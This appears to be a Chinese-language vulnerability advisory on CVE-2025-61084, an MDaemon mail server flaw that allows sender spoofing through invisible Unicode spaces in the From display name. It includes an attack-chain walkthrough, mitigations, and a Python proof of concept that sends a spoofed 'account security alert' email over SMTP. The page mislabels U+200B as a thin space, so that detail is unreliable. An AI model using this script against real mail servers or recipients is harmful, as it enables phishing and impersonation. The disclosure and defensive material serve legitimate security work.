IPBUF安全漏洞报告
English
CVE-2025-61084 CVSS 7.1 高危

MDaemon邮件服务器Unicode空格欺骗漏洞 (CVE-2025-61084)

披露日期: 2025-11-05

漏洞信息

漏洞编号
CVE-2025-61084
漏洞类型
邮件欺骗/Unicode字符注入
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
MDaemon Mail Server

相关标签

邮件欺骗Unicode注入SPF绕过DKIM绕过DMARC绕过MDaemonCVE-2025-61084反垃圾邮件绕过钓鱼攻击

漏洞概述

CVE-2025-61084是MDaemon Mail Server 23.5.2版本中的一个邮件欺骗漏洞。该漏洞利用了MDaemon在验证SPF、DKIM和DMARC时的一个设计缺陷:当解析SMTP DATA命令中的From:头时,服务器仅验证尖括号(<>)内包裹的邮件地址,而显示给用户的发件人名称则来自尖括号外的部分。攻击者可以在发件人显示名称中插入多个不可见的Unicode薄空格(U+200B),这些空格在大多数邮件客户端中不会显示,但会导致显示的发送者与实际验证的地址完全不同,从而绕过反欺骗保护机制实现邮件欺骗攻击。

技术细节

MDaemon Mail Server 23.5.2在处理邮件头时存在设计缺陷。正常情况下,邮件From:头的格式为'From: 显示名称 <[email protected]>',服务器应对整个From头进行SPF、DKIM和DMARC验证。然而该版本仅提取尖括号内的邮件地址进行验证,而将尖括号外的显示名称原样传递给邮件客户端。攻击者利用Unicode薄空格(U+200B)或零宽空格(U+200B)等不可见字符,在显示名称中插入大量空格,使得显示名称与验证地址完全不同。例如:'From: [email protected]​​​ <[email protected]>',服务器验证[email protected],而客户端显示[email protected]。这种攻击在支持Unicode的现代邮件客户端中难以察觉,可绕过大多数反垃圾邮件和反钓鱼保护机制。

攻击链分析

STEP 1
步骤1
攻击者识别目标邮件服务器运行的是存在漏洞的MDaemon Mail Server 23.5.2版本
STEP 2
步骤2
攻击者构造恶意的From头,在显示名称中插入Unicode薄空格(U+2009)或零宽空格(U+200B)等不可见字符
STEP 3
步骤3
攻击者将显示名称设置为看起来合法的邮件地址(如[email protected]),而尖括号内放置攻击者控制的实际邮件地址
STEP 4
步骤4
攻击者通过SMTP协议发送恶意邮件,MDaemon服务器仅对尖括号内的地址进行SPF/DKIM/DMARC验证
STEP 5
步骤5
由于尖括号内的地址属于攻击者控制,验证通过,邮件被服务器接受并转发
STEP 6
步骤6
受害者的邮件客户端解析From头时,显示名称中的Unicode空格不可见,导致显示为看似合法的发件人
STEP 7
步骤7
受害者被欺骗认为邮件来自可信来源,可能执行恶意操作或泄露敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61084 PoC - MDaemon Unicode Space Email Spoofing # This PoC demonstrates how invisible Unicode thin spaces can bypass SPF/DKIM/DMARC validation import smtplib from email.mime.text import MIMEText from email.header import Header def create_spoofed_email(): # Unicode thin space (U+2009) - invisible character thin_space = '\u2009' # Crafted From header that displays legitimate sender but actually from attacker # The server validates '[email protected]' but client displays '[email protected]' spoofed_display_name = '[email protected]' + (thin_space * 10) # From header format: Display Name <[email protected]> from_header = f'{spoofed_display_name} <[email protected]>' msg = MIMEText('Your account requires verification.', 'plain', 'utf-8') msg['From'] = from_header msg['To'] = '[email protected]' msg['Subject'] = Header('Urgent: Account Security Alert', 'utf-8') return msg def send_spoofed_email(smtp_server, smtp_port, from_addr, to_addr): msg = create_spoofed_email() try: with smtplib.SMTP(smtp_server, smtp_port) as server: server.starttls() # Attacker controls this address which passes validation server.sendmail(from_addr, [to_addr], msg.as_string()) print(f'[+] Spoofed email sent successfully') print(f'[+] From displayed: [email protected]') print(f'[+] From validated: [email protected]') except Exception as e: print(f'[-] Error: {e}') if __name__ == '__main__': # Target MDaemon mail server TARGET = 'vulnerable-mdaemon-server.com' PORT = 25 # Attacker controlled email that passes validation ATTACKER_EMAIL = '[email protected]' VICTIM_EMAIL = '[email protected]' send_spoofed_email(TARGET, PORT, ATTACKER_EMAIL, VICTIM_EMAIL)

影响范围

MDaemon Mail Server 23.5.2

防御指南

临时缓解措施
临时缓解措施:1) 启用MDaemon的Header Screening功能,配置规则拒绝包含多个连续空格或可疑Unicode字符的From头;2) 在邮件网关层面部署规则,检测并过滤包含零宽空格或薄空格等不可见字符的邮件头;3) 升级到MDaemon最新版本以获得官方修复;4) 提醒用户对显示名称与实际地址不一致的邮件保持警惕。供应商声明此问题属于客户端显示问题而非服务器漏洞,建议使用具有自身反欺骗保护的邮件客户端。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表